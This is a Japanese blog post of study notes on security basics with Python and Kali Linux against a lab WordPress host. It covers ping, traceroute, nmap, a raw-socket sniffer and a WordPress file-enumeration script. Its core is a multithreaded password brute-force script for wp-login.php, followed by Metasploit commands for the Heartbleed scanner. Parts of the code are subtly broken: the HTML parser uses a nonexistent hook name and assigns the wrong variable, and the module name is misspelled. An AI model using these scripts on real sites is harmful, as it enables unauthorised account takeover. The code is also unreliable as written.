0
0

More than 3 years have passed since last update.

【Python3, Kali Linux】情報セキュリティマネジメント入門

Posted at

Wing IDEの起動

wing-personal7.2

urlibを使ってデータを取得・保存

import urllib.request

url = "<url>"
imagefile = "hoge.jpg"
urllib.request.urlretrieve(url, imagefile)

Kali Linuxのネットワーク設定変更とpingの実行

VMの設定をBridged Adapterに変更

ping <ipアドレス>

tracerouteの実行

Firewallの存在を検知

traceroute <url>

nmapによるポートスキャン

nmap <ipアドレス>-20  # 20台分スキャン

TCPクライアント

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #(アドレス定義, 通信方式(TCP))
client.connect(("www.google.com",80)) #("", ポート番号)
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") #b バイト型 \r\n\r\n 終わりの宣言
response = client.recv(4096) # 受信データの最大サイズ

スニッファー

udpclient.py
import socket

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #(アドレス定義, 通信方式(UDP))
client.sendto(b"12345",("127.0.0.1",80))

data, addr = client.recvfrom(4096)
print(data)
sniffer.py
import socket

sniff = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # # inet使う、流れている情報をそのまま取得、ICMPプロトコル使う

sniff.bind(('127.0.0.1', 0)) # アドレスと紐付ける  ifconfigで調べたパブリックのinetにしたらpingやtracerouteでリッスンできる

sniff.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # IPプロトコル使う IPヘッダーを含める

print(sniff.recvfrom(4096))

URLクライアントを作成しWordpressにアクセス

import urllib.request

response = urllib.request.urlopen('http://192.168.1.12/blog/wp-admin')

data = response.read()

print(data)

サイトのファイル構成を確認

import queue 
import threading
import os
import urllib.request
import urllib.error

threads = 10

wpurl = "http://192.168.1.12/blog"
localwp = "/var/www/html/blog"
filters = [".jpg",".gif",".png",".css",".js"]

os.chdir(localwp) # 階層を移動

web_paths = queue.Queue() # リクエストを保存

for root,directory,files in os.walk("."): # 現在位置のファイル一覧を取得
    for file in files:
        remote_path = "%s/%s" % (root,file)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(file)[1] not in filters:
            web_paths.put(remote_path)

def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = "%s/%s" % (wpurl,path)

        request = urllib.request.Request(url)

        try:
            response = urllib.request.urlopen(request)
            content = response.read()

            print("[%d] => %s" % (response.code,path)) #httpレスポンス, urlを除くファイル名

            response.close()

        except urllib.error.HTTPError as error:
            # print("File get error")
            pass

for i in range(threads):
    print("Running thread: %d" % i)
    t = threading.Thread(target=test_remote) # 順番に実行
    t.start()

ブルートフォース攻撃


import urllib
import threading
import sys
import queue

from http.cookiejar import CookieJar
from html.parser import HTMLParser

num_thread = 10
username = "admin"
wordlist_file = "/tmp/cain.txt"
wp_url = "http://192.168.1.12/blog/wp-login.php"
success_check = "ダッシュボード"

# ページに送るためのフォームのデータを生成
class BruteParser(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {} # タグの一覧を格納

    def handleshorttag(self,tag,attrs):
        if tag == "input":
            tag_name = None
            tag_value = None
            for name,value in attrs:
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value

            if tag_name is not None:
                self.tag_results[tag_name] = value

class Bruter(object):
    def __init__(self,username,words):
        self.username = username
        self.password_q = words
        self.found = False
    def run_bruteforce(self):
        for i in range(num_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()
    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip().decode('utf-8')
            jar = CookieJar() # Cookieをサポートしているブラウザからの攻撃とする
            opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
            response = opener.open(wp_url)
            page = response.read()

            print("trying: %s : %s" % (self.username,brute))

            parser = BruteParser()
            parser.feed(page.decode('utf-8'))
            post_tags = parser.tag_results
            post_tags["log"] = self.username
            post_tags["pwd"] = brute

            login_data = urllib.parse.urlencode(post_tags).encode('utf-8')
            login_request = urllib.request.Request(wp_url,login_data)
            login_response = opener.open(login_request)
            login_result = login_response.read().decode('utf-8')

            if success_check in login_result:
                self.found = True
                print(" Login Success!")
                print("Username: %s" % username)
                print("Password: %s" % brute)

def build_wordlist(wordlist_file):
    fp = open(wordlist_file,"rb")
    raw_words = fp.readlines()
    fp.close()
    words = queue.Queue()

    for word in raw_words:
        word = word.rstrip()
        words.put(word)

    return words

words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username,words)
bruter_obj.run_bruteforce()

OpenSSLのバージョンを確認

openssl version

更新:OpenSSL の脆弱性対策について(CVE-2014-0160)

exploitを実行

search heartbleed
use auxiliary/scanner/ssl/openssl_heartbread
set RHOSTS <ip>
set verbose true
run
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0